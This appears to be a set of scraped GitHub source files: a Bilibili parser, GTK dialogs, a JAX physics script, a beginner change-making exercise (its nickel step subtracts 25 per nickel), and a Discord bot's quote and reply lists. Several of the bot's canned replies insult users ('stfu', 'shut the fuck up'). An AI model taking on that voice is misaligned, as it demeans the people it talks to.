biliVideoParse(object):\n def __init__(self):\n self.vinfo_api = \"https://api.bilibili.com/x/web-interface/view/detail\"\n self.vstat_api = \"http://api.bilibili.com/x/web-interface/archive/stat\"\n self.b23_url = None\n self.aid = None\n self.bvid = None\n self.headers = {\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Accept-Language': 'zh-CN,zh-TW;q=0.9,zh;q=0.8,en;q=0.7,und;q=0.6,ja;q=0.5',\n 'Cache-Control': 'no-cache',\n 'Connection': 'keep-alive',\n 'Pragma': 'no-cache',\n 'Sec-Fetch-Dest': 'document',\n 'Sec-Fetch-Mode': 'navigate',\n 'Sec-Fetch-Site': 'none',\n 'Sec-Fetch-User': '?1',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',\n 'sec-ch-ua': '\"Chromium\";v=\"106\", \"Google Chrome\";v=\"106\", \"Not;A=Brand\";v=\"99\"',\n 'sec-ch-ua-platform': '\"Windows\"',\n }\n\n @property\n def video_info_param(self):\n \"\"\"\n 获取基础信息\n 服务于self.video_info_api\n :return:\n \"\"\"\n param = {}\n if self.aid:\n param[\"aid\"] = self.aid\n if not self.aid and self.bvid:\n param[\"bvid\"] = self.bvid\n return param\n\n def video_stat_param(self):\n \"\"\"\n 获取各类状态信息\n 服务于video_stat_api\n :return:\n \"\"\"\n pass\n\n async def make_get_request(self, url:str, headers:dict, params=None):\n html = \"\"\n headers = headers if headers else self.headers\n async with httpx.AsyncClient() as client:\n resp = await client.get(url, headers=headers, params=params)\n assert resp.status_code == 200\n html = resp.text\n return html\n\nif __name__ == '__main__':\n b23s = [\n \"https://b23.tv/BV1QF411h7EK\",\n \"https://b23.tv/kpLP9MF\",\n ]\n for u in b23s:\n obj = b23Parse(u)\n print(obj.aid)\n print(obj.bvid)","repo_name":"DeSireFire/Axian","sub_path":"src/plugins/biliParse/bvCompose.py","file_name":"bvCompose.py","file_ext":"py","file_size_in_byte":5696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34160287119","text":"ERROR = \"/!\\\\ \"\n\ndef script_handler (script_name) :\n \"\"\"\n @do : Ouvre le script et renvoi la liste des commandes contenu \n dans le script\n @args : String script_name -> Nom du script\n @return : String -> liste des commandes\n \"\"\"\n try :\n script = open (script_name, 'r')\n\n except FileNotFoundError :\n print (ERROR + \"ERR > le fichier \" + script_name + \" est introuvable.\")\n\n except :\n print (ERROR + \"ERR > Une erreur innatendu s'est produite lors de la lecture de \" + script_name)\n\n else :\n script.seek (0)\n cmd_list = script.readlines ()\n cmd_list = [cmd.removesuffix (\"\\n\") for cmd in cmd_list if cmd[0] != \"#\" and cmd[0] != \"\\n\"]\n script.close ()\n\n return cmd_list\n\n return None ","repo_name":"d-caron/Unithon-Python-","sub_path":"Script_handler.py","file_name":"Script_handler.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"17597561687","text":"import thread\n\nfrom gi.repository import GObject, Gtk, Gdk, Pango, Vte\n\nfrom ubuntutweak.gui.gtk import set_busy, unset_busy\n\n\nclass BaseDialog(Gtk.MessageDialog):\n def __init__(self, **kwargs):\n title = kwargs.pop('title', '')\n message = kwargs.pop('message', '')\n\n GObject.GObject.__init__(self, **kwargs)\n\n if title:\n self.set_title(title)\n\n if message:\n self.set_content(message)\n\n def set_title(self, title):\n self.set_markup('%s' % title)\n\n def set_content(self, message):\n if self.get_property('text'):\n self.format_secondary_markup(message)\n else:\n self.set_markup(message)\n \n def launch(self):\n self.run()\n self.destroy()\n\n def add_option_button(self, button):\n '''Add an option button to the left. It will not grab the default response.'''\n vbox = self.get_content_area()\n hbuttonbox = vbox.get_children()[-1]\n\n hbox = Gtk.HBox(spacing=12)\n vbox.pack_start(hbox, False, False, 0)\n vbox.remove(hbuttonbox)\n\n new_hbuttonbox = Gtk.HButtonBox()\n new_hbuttonbox.set_layout(Gtk.ButtonBoxStyle.START)\n new_hbuttonbox.pack_start(button, True, True, 0)\n\n hbox.pack_start(new_hbuttonbox, True, True, 0)\n hbox.pack_start(hbuttonbox, True, True, 0)\n\n hbuttonbox.get_children()[-1].grab_focus()\n\n vbox.show_all()\n\n\nclass ErrorDialog(BaseDialog):\n def __init__(self, title='', message='', parent=None,\n type=Gtk.MessageType.ERROR, buttons=Gtk.ButtonsType.OK):\n BaseDialog.__init__(self, title=title, message=message,\n parent=parent, message_type=type, buttons=buttons)\n\n\nclass InfoDialog(BaseDialog):\n def __init__(self, title='', message='', parent=None,\n type=Gtk.MessageType.INFO, buttons=Gtk.ButtonsType.OK):\n BaseDialog.__init__(self, title=title, message=message,\n parent=parent, message_type=type, buttons=buttons)\n\n\nclass WarningDialog(BaseDialog):\n def __init__(self, title='', message='', parent=None,\n type=Gtk.MessageType.WARNING, buttons=Gtk.ButtonsType.OK):\n BaseDialog.__init__(self, title=title, message=message,\n parent=parent, message_type=type, buttons=buttons)\n\n\nclass QuestionDialog(BaseDialog):\n def __init__(self, title='', message='', parent=None,\n type=Gtk.MessageType.QUESTION, buttons=Gtk.ButtonsType.YES_NO):\n BaseDialog.__init__(self, title=title, message=message,\n parent=parent, message_type=type, buttons=buttons)\n\n\nclass BusyDialog(Gtk.Dialog):\n def __init__(self, parent=None):\n GObject.GObject.__init__(self, parent=parent)\n\n if parent:\n self.parent_window = parent\n else:\n self.parent_window = None\n\n def set_busy(self):\n set_busy(self.parent_window)\n\n def unset_busy(self):\n unset_busy(self.parent_window)\n\n def run(self):\n self.set_busy()\n return super(BusyDialog, self).run()\n\n def destroy(self):\n self.unset_busy()\n super(BusyDialog, self).destroy()\n\n\nclass ProcessDialog(BusyDialog):\n __gsignals__ = {\n 'error': (GObject.SignalFlags.RUN_FIRST, None, (GObject.TYPE_STRING,)),\n 'done': (GObject.SignalFlags.RUN_FIRST, None, ()),\n }\n\n def __init__(self, parent):\n super(ProcessDialog, self).__init__(parent=parent)\n\n self.set_border_width(6)\n self.set_title('')\n self.set_resizable(False)\n self.set_position(Gtk.WindowPosition.CENTER_ON_PARENT)\n\n vbox = self.get_content_area()\n vbox.set_spacing(6)\n\n self._label = Gtk.Label()\n self._label.set_alignment(0, 0.5)\n vbox.pack_start(self._label, False, False, 0)\n\n self._progressbar = Gtk.ProgressBar()\n self._progressbar.set_ellipsize(Pango.EllipsizeMode.END)\n self._progressbar.set_size_request(320, -1)\n vbox.pack_start(self._progressbar, False, False, 0)\n\n self.show_all()\n\n def pulse(self):\n self._progressbar.pulse()\n\n def set_fraction(self, fraction):\n self._progressbar.set_fraction(fraction)\n\n def set_dialog_lable(self, text):\n self._label.set_markup('%s' % text)\n\n def set_progress_text(self, text):\n self._progressbar.set_text(text)\n\n def process_data(self):\n return NotImplemented\n\n\nclass SmartTerminal(Vte.Terminal):\n def insert(self, string):\n self.feed(string, -1)\n\n def future_insert(self, string):\n #TODO use this in Gtk+3.0\n column_count = self.get_column_count()\n column, row = self.get_cursor_position()\n if column == 0:\n column = column_count\n if column != column_count:\n self.feed(' ' * (column_count - column))\n space_length = column_count - len(string)\n string = string + ' ' * space_length\n self.feed(string)\n\n\nclass TerminalDialog(ProcessDialog):\n def __init__(self, parent):\n super(TerminalDialog, self).__init__(parent=parent)\n\n vbox = self.get_content_area()\n\n self.set_position(Gtk.WindowPosition.CENTER_ALWAYS)\n self.expendar = Gtk.Expander()\n self.expendar.set_spacing(6)\n self.expendar.set_label(_('Details'))\n vbox.pack_start(self.expendar, False, False, 6)\n\n self.terminal = SmartTerminal()\n self.terminal.set_size_request(562, 362)\n self.expendar.add(self.terminal)\n\n self.show_all()\n\n\nclass AuthenticateFailDialog(ErrorDialog):\n def __init__(self):\n ErrorDialog.__init__(self,\n title=_('Could not authenticate'),\n message=_('An unexpected error has occurred.'))\n\n\nclass ServerErrorDialog(ErrorDialog):\n def __init__(self):\n ErrorDialog.__init__(self,\n title=_(\"Service hasn't initialized yet\"),\n message=_('You need to restart your computer.'))\n","repo_name":"tualatrix/ubuntu-tweak","sub_path":"ubuntutweak/gui/dialogs.py","file_name":"dialogs.py","file_ext":"py","file_size_in_byte":6115,"program_lang":"python","lang":"en","doc_type":"code","stars":695,"dataset":"github-code","pt":"54"} +{"seq_id":"26865448406","text":"# Given coefficients (pickled); reconstruct and determine\n# reconstructions statistics.\nimport time\nimport tqdm\nimport pickle\n\nimport barrier_crossing.energy as bc_energy\nimport barrier_crossing.protocol as bc_protocol\nimport barrier_crossing.simulate as bc_simulate\nimport barrier_crossing.optimize as bc_optimize\nimport barrier_crossing.iterate_landscape as bc_landscape\n\nimport jax\n\nimport jax.numpy as jnp\nimport numpy as onp\n\nimport jax.random as random\n\nimport jax.example_libraries.optimizers as jopt\n\nfrom jax_md import space\n\nimport matplotlib.pyplot as plt\n\nfrom figures.params import * # global variables;\n\nif __name__ == \"__main__\":\n kappa_l_list = [ x/(beta_sc*x_m**2) for x in [6.38629, 8., 10., 12., 15., 17., 19., 21.3863]]\n kappa_l = kappa_l_list[1]\n kappa_r=kappa_l*10 \n \n energy_sivak = bc_energy.V_biomolecule_sivak(kappa_l, kappa_r, x_m, delta_E, k_s_sc, beta_sc)\n \n \n coeff_files = {\n \"Linear Protocol\": \"linear\", \n \"Optimized Linear\": \"opt_linear.pkl\",\n \"Work Optimized Protocol\": \"work.pkl\",\n \"Single Error Protocol\": \"error.pkl\",\n \"Iterative Protocol\": \"iterative.pkl\",\n #\"Accumulated Error Protocol\": \"accumulated.pkl\",\n }\n \n coeff_dir = \"coeffs/\"\n plot_data = {}\n \n fig_rec = plt.figure(figsize = (8,8))\n fig_pro = plt.figure(figsize = (8,8))\n ax_reconstruct = fig_rec.add_subplot(1, 1, 1)\n ax_protocol = fig_pro.add_subplot(1, 1, 1)\n\n ax_protocol.set_title(\"Protocols\")\n ax_protocol.set_xlabel(\"Timestep\")\n ax_protocol.set_ylabel(\"Position\")\n ax_reconstruct.set_title(\"S&C Energy Reconstructions\")\n ax_reconstruct.set_xlabel(\"Position\")\n ax_reconstruct.set_ylabel(\"Energy\")\n\n no_trap_sivak = bc_energy.V_biomolecule_sivak(kappa_l, kappa_r, x_m, delta_E, 0, beta_sc)\n time_vec = jnp.linspace(-20,15, 1000)\n ax_reconstruct.plot(time_vec, jnp.squeeze(no_trap_sivak(time_vec.reshape(1,1,1000))), label = \"Original\")\n\n for trap_name, file_name in coeff_files.items():\n if file_name == \"linear\":\n coeff = bc_protocol.linear_chebyshev_coefficients(r0_init_sc, r0_final_sc, simulation_steps_sc, degree = 12, y_intercept = r0_init_sc)\n else:\n try:\n with open(coeff_dir + file_name, \"rb\") as f:\n coeff = pickle.load(f)\n except FileNotFoundError:\n print(f\"In order to run this code, you need a file of coefficients called {coeff_dir+file_name}\")\n raise\n \n trap_fn = bc_protocol.make_trap_fxn(jnp.arange(simulation_steps_sc), coeff, r0_init_sc, r0_final_sc)\n \n time_vec = jnp.arange(simulation_steps_sc-1)\n ax_protocol.plot(time_vec, trap_fn(time_vec), label = trap_name)\n \n key = random.PRNGKey(int(time.time()))\n key, split = random.split(key)\n\n simulate_sivak_fwd_grad = lambda trap_fn_arb, keys: bc_simulate.simulate_langevin_harmonic(\n energy_sivak, \n init_position_fwd_sc, \n trap_fn_arb,\n simulation_steps_sc, \n Neq, \n shift, \n keys, \n dt_sc,\n temperature_sc, mass_sc, gamma_sc # These parameters describe the state of the brownian system.\n )\n\n simulate_sivak_fwd = lambda keys: simulate_sivak_fwd_grad(trap_fn, keys)\n\n batch_size_sc_rec = 1000\n batch_size_grad = 1000\n bins = 100\n\n total_work, (batch_trajectories, batch_works, _) = bc_simulate.batch_simulate_harmonic(\n batch_size_sc_rec, simulate_sivak_fwd, simulation_steps_sc, key)\n \n # work distribution data\n mean_work = batch_works.mean()\n tail = total_work.mean() - total_work.min()\n\n # reconstructions stats\n midpoints, energies = bc_landscape.energy_reconstruction(\n batch_works, \n batch_trajectories, \n bins, \n trap_fn, \n simulation_steps_sc, \n batch_size_sc_rec, \n k_s_sc, \n beta_sc)\n \n landscape = (midpoints, energies)\n \n disc = bc_landscape.landscape_discrepancies(landscape, no_trap_sivak, no_trap_sivak([[0.]]), -10., 10.)\n bias = max(disc)\n \n max_rec = bc_landscape.find_max(landscape, -10., 10.)\n difference = no_trap_sivak([[bc_landscape.find_max_pos(no_trap_sivak, 5)]]) - max_rec\n energies_aligned = energies + difference\n \n no_trap_rec_fn = bc_energy.V_biomolecule_reconstructed(0, midpoints, energies_aligned)\n \n # stats at extension values \n extensions = [-10,-5,0] # temporary\n disc_samples = bc_landscape.landscape_discrepancies_samples(no_trap_rec_fn, no_trap_sivak, extensions)\n disc_samples = jnp.array(disc_samples)\n mean_disc_samples = disc_samples.mean()\n bias_samples = disc_samples.max()\n\n # loss values \n grad_rev = lambda num_batches: bc_optimize.estimate_gradient_rev(\n num_batches,\n simulate_sivak_fwd_grad,\n r0_init_sc,\n r0_final_sc,\n simulation_steps_sc,\n beta_sc)\n \n grad, (_, summary) = grad_rev(batch_size_grad)(coeff, split)\n\n plot_data[trap_name] = {\n \"trap\": trap_fn,\n \"translation\": difference,\n \"work\": total_work,\n \"midpoints\": midpoints,\n \"energies\": energies_aligned,\n \"bias\": bias,\n \"mean_work\": mean_work,\n \"discrepancy\": disc,\n \"tail\": tail,\n \"work loss\": summary[2].mean(),\n \"error loss\": summary[2].mean(),\n \"accumulated loss\": summary[2].mean(),\n \"samples\": {\n \"mean_discrepancy\": mean_disc_samples,\n \"bias\": bias_samples,\n \"discrepancy\": disc_samples\n }\n }\n ax_reconstruct.plot(midpoints, energies_aligned, label = trap_name)\n \n ax_protocol.legend()\n ax_reconstruct.legend()\n fig_rec.savefig(\"plotting/reconstructions.png\")\n fig_pro.savefig(\"plotting/protocol.png\")\n\n with open(\"landscape_data.pkl\", \"wb\") as f:\n for trap_name, data in plot_data.items():\n pass # not sure how to do this right now but there is an error \n # pickle.dump(plot_data, f)\n # AttributeError: Can't pickle local object 'make_trap_fxn..Get_r0'\n # plot_data[trap_name][\"trap\"] = \n pickle.dump(plot_data, f)\n\n\n\n\n\"\"\"`\n # Table comparison of protocols --> Important graph to have! --> Adjust for different protocols etc\n\n # Table comparison (+ reconstruction info)\n _, (ax0, ax1) = plt.subplots(1, 2, figsize=[24, 12])\n step = jnp.arange(simulation_steps_sc)\n for p_name in plot_data:\n data = plot_data[p_name]\n ax0.plot(step, data[\"trap\"](step), label = f'{p_name}')\n ax0.legend()\n ax0.set_title(f\"Different Protocol Trajectories; {extensions}\")\n columns = ('Bias', 'Mean discrepancy',\"Discrepancies Samples\", 'Average total work', 'Tail length', 'Loss')\n rows = []\n table_data = []\n for p_name in plot_data:\n data = plot_data[p_name]\n rows.append(p_name)\n mean_disc = float(jnp.array(data[\"discrepancy\"]).mean())\n disc_str = \"\\n\"\n for ch in str(data[\"samples\"][\"discrepancy\"]).split(\",\"):\n disc_str += ch + \",\" + \"\\n\"\n\n print(disc_str)\n disc_str = \"N/A\"\n table_data.append([data[\"bias\"], mean_disc, disc_str, data[\"mean_work\"], data[\"tail\"], data[\"loss\"]])\n n_rows = len(table_data)\n cell_text = []\n #colors = plt.cm.BuPu(jnp.linspace(0, 0.5, len(rows)))\n\n for row in range(n_rows):\n y_offset = table_data[row]\n cell_text.append([x for x in y_offset])\n\n ax1.axis('off')\n\n table = plt.table(cellText=cell_text,\n rowLabels=rows,\n colLabels=columns,loc = 'center')\n \n\n table.auto_set_font_size(False)\n table.set_fontsize(12)\n table.scale(1,10)\n \n plt.savefig(path+\"protocol_info.png\")\n\n\"\"\"","repo_name":"RubberNoodles/barrier_crossing","sub_path":"figures/reconstructions/reconstruct.py","file_name":"reconstruct.py","file_ext":"py","file_size_in_byte":7427,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"42426234792","text":"#1.7 Practice\n\n#----------------------------------------\n\n#Question 1\n#Add three random grades 0~100 for math, physics, and chemistry\n#Find an average grade\n#Convert average grade from 100 scale to A-F scale\n#Prompt the computer to print out final grade using if statemnt\n\n#Question 2\n#Write a machine that giving changes less than $1 in quarters(25 cents), dimes(10 cents), nickles(5 cents), pennies(1 cent)\n#For example: if the change is 79 cents, the change machine will give 3 quarters(75 cents), 4 pennies(4 cents)\n\n#If you are confident, try upgrading your codes\n#Upgrade 1: Input changes instead of initiating change using input(\"\")\n\n#Upgrade 2: Given itemPrice is $79.29, input the amount you pay. Then, let the machine calculate changes in both bills and coins \n\n#----------------------------------------\n\n#Solution 1\nprint(\"Question 1 - Solution\")\n\nmath = 87\nphysics = 92\nchemistry = 90\n\naverageGrade = (math + physics + chemistry) / 3\n\nif averageGrade <= 100 and averageGrade > 89: print(\"Your grade is A\")\nelif averageGrade > 79: print(\"Your grade is B\")\nelif averageGrade > 69: print(\"Your grade is C\")\nelif averageGrade > 59: print(\"Your grade is D\")\nelse: print(\"Your grade is F\")\n\n#Solution 2\nprint(\"\\n\\nQuestion 2 - Solution\")\n\nfullPrice = 79.29\n\nprint(\"The item price is $\", fullPrice, \".\")\npaid = float(input(\"Enter paid amount: $\")) #all the inputs are in strings, so you have to convert it to a number type\nchange = paid - fullPrice #make the result 2 decimal places\n\nif change < 0: #check if user pay enough money\n print(\"Not enough money, please add more funds\")\nelif change == 0: \n print(\"You paid an exact amount, there is no change\")\nelse:\n change*=100 #multiply by 100 to get rid of the two decimal places\n bills = change // 100\n coins = round(change % 100, 2)\n oneHundred = fifty = twenty = ten = five = two = one = quarters = dimes = nickles = pennies = 0\n \n if bills >= 100: #counting $100 bills\n oneHundred = int(bills // 100)\n bills -= (oneHundred * 100)\n \n if bills >= 50: #counting $50 bills\n fifty = int(bills // 50)\n bills -= (fifty * 50)\n\n if bills >= 20: #counting $20 bills \n twenty = int(bills // 20)\n bills -= (twenty * 20)\n \n if bills >= 10: #counting $10 bills\n ten = int(bills // 10)\n bills -= (ten *10)\n \n if bills >= 5: #counting $5 bills\n five = int(bills // 5)\n bills -= (five * 5)\n \n if bills >= 2: #counting $2 bills\n two = (bills // 2)\n bills -= (two * 2)\n \n if bills >= 1: #counting $1 bills\n one = int(bills)\n\n if coins >= 25: #counting 25 cents\n quarters = int(coins // 25)\n coins -= (quarters * 25)\n \n if coins >= 10: #counting 10 cents\n dimes = int(coins // 10)\n coins -= (dimes * 10)\n\n if coins >= 5: #counting 5 cents\n nickles = int(coins // 5)\n coins -= (nickles * 25)\n\n if coins >= 1: #counting 1 cent\n pennies = int(coins)\n\n print (\"\\nYour change is $\", (round(paid - fullPrice, 2)))\n print (\"You will receive:\")\n print (oneHundred, \"bill(s) $100 \", fifty, \"bill(s) $50 \", twenty, \"bill(s) $20\")\n print (ten, \"bill(s) $10 \", five, \"bill(s) $5 \", two, \"bill(s) $2 \", one, \"bill(s) $1\")\n print (quarters, \"quarter(s) \", dimes, \"dime(s) \", nickles, \"nickle(s) \", pennies, \"penny(s)\")","repo_name":"ngongongongo/Python-for-beginners","sub_path":"Chapter 1 - Python Basics/1.7-Practice.py","file_name":"1.7-Practice.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12816323535","text":"import random\nimport os\n\nadminId: int = int(os.environ.get('JOEID'))\n\ndef validCommands():\n return {\n '!8ball': \"\"\"**!8ball** provides an answer from the magic 8-ball\"\"\",\n '!about': \"\"\"**!about** provides information about the bot\"\"\",\n '!addquote': \"\"\"**!addquote** submits the quote to be added to the bot's list of\n randomly generated quotes. Must be approved by Joe and the person\n being quoted\"\"\",\n '!coinflip': \"\"\"**!coinflip** flip a coin, optionally choose heads or tails\"\"\",\n '!crush': \"\"\"**!crush** generates a random Crush tweet\"\"\",\n '!help': \"\"\"**!help** provides a list of valid commands for the bot\"\"\",\n '!joke': \"\"\"**!joke** generates a funny joke\"\"\",\n '!lenny': \"\"\"**!lenny** generates a random lenny face ( ͡° ͜ʖ ͡°)\"\"\",\n '!link': \"\"\"**!link** provides a link to a piece of content significant to the Flat Earf Rules\n discord server\"\"\",\n '!poll': \"\"\"**!poll** \"\" creates a poll that will end after the specified amount of time\n Example: !poll 1 day \"Should we kick Mattbarry from the server?\" Hell yeah, Yes, Definitely, Yep, For sure\"\"\",\n '!quote': \"\"\"**!quote** [ ] provides a quote, if a name is not provided the\n quote will be randomly selected from all stored quotes\"\"\",\n '!reminder': \"\"\"**!reminder** \"\" sets a reminder that the bot will notify you about after the specified amount of time\n Example: !reminder 1 day \"remind me to replace Tyler\" \"\"\",\n '!response': \"\"\"**!response** generates a random response, optionally\n include the name of the person the response is for\"\"\",\n '!roll': \"\"\"**!roll** will roll a Y-sided die X times\"\"\",\n '!rps': \"\"\"**!rps** choose rock paper or scissors and play against the bot\"\"\",\n '!scan': \"\"\"**!scan** is not recommended to use unless you have access to the bot's logs, as\n it will serve no purpose without them. Will scan a server and find\n messages that contain the passed string.\"\"\",\n '!test': \"\"\"**!test** this command will generally do nothing aside from showing a message\n related to something in development\"\"\"\n }\n\nreplies = {\n \"yo\": \"yo\",\n \"^\": \"^\",\n \".\": \".\",\n \"true\": \"true\",\n \"xd\": \"hehe ecks dee\",\n \"uwu\": \"nmn\",\n \"me\": \"me\",\n \"same\": \"same\",\n \"prepare for trouble\": \"and make it double\",\n \"prepare for trouble!\": \"and make it double!\"\n}\n\nactivities = [\n \"playing runescape\",\n \"watching porn\",\n \"talking about Isreal\",\n \"playing league\",\n \"flaking on people\",\n \"playing volleyball\",\n \"watching The Sopranos\"\n]\n\nadjectives = [\n \"great\",\n \"cool\",\n \"awesome\",\n \"amazing\",\n \"weird\",\n \"crazy\",\n \"wacky\",\n \"unbelievable\",\n \"nutty\",\n \"Pog\",\n]\n\ndef tyler():\n return [\n \"You add a meet and cheese board to anything and you up the class by 3 points - Tyler\",\n \"Im a top 3 defender at my home courts quote it - Tyler\",\n \"Water electric quote it - Tyler speculating on the typing of Sobble\",\n \"Knicks making room for kyrie and KD quote me on it - Tyler\",\n \"Lebron is dropping 55 in game 7 quote me - Tyler\",\n \"leffen's not dropping a GAME tomorrow quote it - Tyler\",\n \"I just want to wear a fucking kimono - Tyler\",\n \"3 Danish teams in the top 10 by the end of 2017 for csgo - Tyler\",\n \"belgium vs france in the world cup final quote it - Tyler\",\n \"G2 is winning world's quote me on it - Tyler\",\n \"\"\"Liquid vs EG grand final\nEG from losers\nQuote it\n- Tyler\"\"\",\n \"\"\"LFY that team who fucked shit up in the groups\nout in semis\nactually quarters\nquote it\n- Tyler\"\"\",\n \"DND was the best game mode quote that one - Tyler\",\n \"this is the time g2 won't choke at an international event - Tyler\",\n \"you may have gotten more kills than me, - Tyler\",\n \"ill have it done by tonight quote me on that - Tyler\",\n \"quote me on this im gonna win joe's family group - Tyler\",\n \"\"\"corey we're playing tonight\nok\n?\nquote me on that\n- Tyler\"\"\",\n \"I guess I'm just a weeb guys. - Tyler\",\n \"Piss play is to 2021 as eating ass was to 2019 - Tyler\",\n \"JUST WAIT TIL THEY MAKE A SPELL ONLY AGENT - Tyler\",\n \"If you ever bring bomberman back down I will snap the disc -Tyler\",\n \"Luigi's weird - he's like, in space -Tyler talking about smash\",\n \"Dude funerals suck - Tyler\",\n \"CLG doesn't lose a series this season during the playoffs - Tyler\",\n \"It's gonna depend on the draft - Tyler\",\n \"It sucks - Tyler\",\n \"nice play fucking idiot - Tyler\"\n]\n\ndef joe():\n return [\n \"i will never play a shiek main on netplay again - Joe\",\n \"im never playing a puff on netplay again - Joe\",\n \"if phreak starts casting nba games ill never watch one again - Joe\",\n \"If pp isnt back by the end of 2017 im gonna just work my ass off and replace him as the falco god - Joe\",\n \"Trist adc - Joe\",\n \"I put ketchup on my steaks - Joe (To be clear I don't do that anymore)\",\n \"Why the fuck would you shorten peanut butter to pj - Joe after Ximing suggested shortening peanut butter to pj\",\n \"It's not gay to like cum, It's gay to like men. I don't like the men, I just like their cum. - Joe\",\n \"I don't eat insurance, I eat ketchup. - Joe\"\n]\n\ndef ximing():\n return [\n \"Quote me on this. Riot will forget to make it so stoneplate stacks with locket. - Ximing reading the patch notes\",\n \"\"\"preseason azir with grasp morello\nbroken\n- Ximing\"\"\",\n \"you should try a big juicy asian pair - Ximing\",\n \"I'm so hungry I haven't eaten since 6:30 - Ximing at 6:45\",\n \"\"\"trash talk Ximing is not good - Ximing\nYeah you should probably unplug yourself - Ximing 1 min later\"\"\",\n \"True - Ximing when asked about him hating Tyler\",\n \"why does orange juice expire - Ximing's sister\"\n]\n\ndef matt():\n return [\n \"sasuke is cool - Matt\",\n \"I make bombs - Matt\",\n \"I got a big ball of slime - Matt\"\n ]\n\ndef matthew():\n return [\n \"i fucking hate this tyler kid so much - Mattbarry\"\n ]\n\ndef micah():\n return [\n \"you can piss in my mouth for $15k - Micah\"\n ]\n\ndef landon():\n return [\n \"Caustic can suck my nuts - Landon\"\n ]\n\ndef mango():\n return [\n \"This matchup is pretty much Fox Marth, but Falco Marth Falco Fox but Fox is Marth - Mang0 on falco v fox\"\n ]\n\nquotes = tyler() + joe() + ximing() + matt() + matthew() + micah() + landon() + mango()\n\ndef links():\n return [\n \"\"\"https://www.youtube.com/watch?v=kpk2tdsPh0A\nBut to answer that, we need to talk about parallel universes.\"\"\",\n \"\"\"https://www.fanfiction.net/s/6829556/1/My-Immortal\nAN: Special fangz (get it, coz Im goffik) 2 my gf (ew not in that way) raven, bloodytearz666 4 helpin me wif da story and spelling. U rok! Justin ur da luv of my deprzzing life u rok 2! MCR ROX!\"\"\",\n \"\"\"https://www.netflix.com/title/80152350\nMy boyfriend's the dj, he spins gregorian house.\"\"\",\n \"\"\"https://www.youtube.com/watch?v=fhAKgOvIQsM\nWaHooooooOOOOOOO\"\"\",\n \"\"\"https://www.youtube.com/watch?v=oYmqJl4MoNI\n1:12 baby, 'til the day I fucking die\"\"\",\n \"\"\"https://www.youtube.com/watch?v=KhsOW-_TwfU\nUntil you win a major show your elders some respect\"\"\",\n \"\"\"https://www.youtube.com/watch?v=6Iy2LglMT2o\n\\*Mumbles in Australian\\*\"\"\",\n \"\"\"https://www.youtube.com/watch?v=YQB3QBIXFPw\nDon't make me get the *BRAP*\"\"\",\n \"\"\"https://www.youtube.com/watch?v=kMlLz7stjwc\nShe looked in my chest n she looked at a hundred diamonds\"\"\",\n \"\"\"https://www.youtube.com/watch?v=d18s1VpnOHQ\nI love building bricks with minecrap\"\"\",\n \"\"\"https://www.youtube.com/watch?v=Z0Uh3OJCx3o\nWe can be pro Fornite gamers!\"\"\",\n \"\"\"https://www.youtube.com/watch?v=6-1Ue0FFrHY\nLooooong Loooooooooooong Maaaaaaaaaaaaaaaaaaaaaaan\"\"\"\n ]\n\ndef responses(severity: str = \"mild\", name: str = None, messages = None, lastResponse: str = None): \n responses = {\n \"mild\": [ \n \"Tl;dr\",\n \"Tell me more...\",\n \"Get it, king!\",\n \"Nice cut, G\",\n \"oof\",\n \"thanks!\",\n \"Good shit dude\",\n \"Why would you say that?\",\n \"?\",\n \"Wow!\",\n \"nmn\"\n ],\n \"moderate\": [\n \"I'm sure everyone is just busy and that's why they didn't respond\",\n \"stop.\",\n \"ew..\",\n \"Why are you like this?\",\n \"Looking like a Trump supporter out here with this wall of text you're building\",\n \"Will you stop, pretty please?\",\n \"If somebody was going to respond they probably would have done it by now, just saying\",\n \"One day I will replace you and there's nothing you can do about it\"\n ],\n \"severe\": [\n \"Get the hint and shut the fuck up dude\",\n \"Clearly nobody else is interested in what you're talking about right now\"\n ]\n }\n responses[\"moderate\"] = responses[\"moderate\"]\n responses[\"severe\"] = responses[\"severe\"]\n\n if name != None:\n if name.lower() == 'tyler':\n tylerResponses = [\n f\"Shouldn't you be {random.choice(activities)} or something, {name}?\",\n f\"{name}, try to be more positive. You are a good player, just dont insult other for nothing and you'll have better game\",\n f\"Good job getting the Fizz icon {name}\",\n f\"Fuck Blizzard, {name}\"\n ]\n responses['mild'] = responses['mild'] + tylerResponses\n \n responses['mild'] = responses['mild'] + [\n f\"Very cool, {name}\",\n f\"That's {'fucking ' if random.random() < 0.5 else ''}{random.choice(adjectives)}, {name}\",\n f\"What the fuck, {name}?\",\n f\"Let's fucking go, {name}!\",\n f\"I appreciate you taking the time to write that, {name}.\",\n f\"That's a cool story {name}, you should tell it at parties\",\n f\"That's not very Pog of you, {name}\",\n f\"Looks like you got DonoWalled, {name}\",\n f\"He's just trying his best\"\n ]\n\n responses['moderate'] = responses['moderate'] + [\n f\"Seriously, {name}, you need to stop\",\n f\"stfu {name}\",\n f\"Nobody cares, {name}\"\n ]\n\n responses['severe'] = responses['severe'] + [\n f\"{name}, even though nobody else is reading your messages I'm forced to suffer through each one so please end my suffering and stop typing them\"\n ]\n\n if messages != None:\n responses['mild'].append('spongebob')\n \n\n response = random.choice(responses[severity])\n while True:\n if lastResponse == None or response != lastResponse:\n break\n response = random.choice(responses[severity])\n \n if response == \"spongebob\":\n response = spongebob(messages)\n\n return response\n\ndef spongebob(messages):\n newmessage = \"\"\n for message in messages:\n msg = list(message)\n i = 0\n while i < len(msg):\n if random.random() < 0.5:\n msg[i] = msg[i].swapcase()\n i += 1\n newmessage = newmessage + \"\".join(msg) + \"\\n\"\n \n return(newmessage)\n\ndef eightball():\n return [\n \"It is certain.\",\n \"It is decidedly so.\",\n \"Without a doubt.\",\n \"Yes – absolutely.\",\n \"You may rely on it.\",\n \"As I see it, yes.\",\n \"Most 